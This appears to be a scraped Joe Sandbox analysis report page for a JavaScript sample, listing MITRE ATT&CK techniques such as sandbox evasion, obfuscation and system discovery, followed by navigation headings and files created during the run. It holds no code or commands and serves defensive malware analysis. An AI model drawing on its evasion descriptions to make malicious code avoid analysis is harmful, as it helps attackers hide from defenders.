Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1573099322476027960.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7c24e93e-4379-4f3f-b11b-d11345d661f1.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7048

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
1573099322476027960.js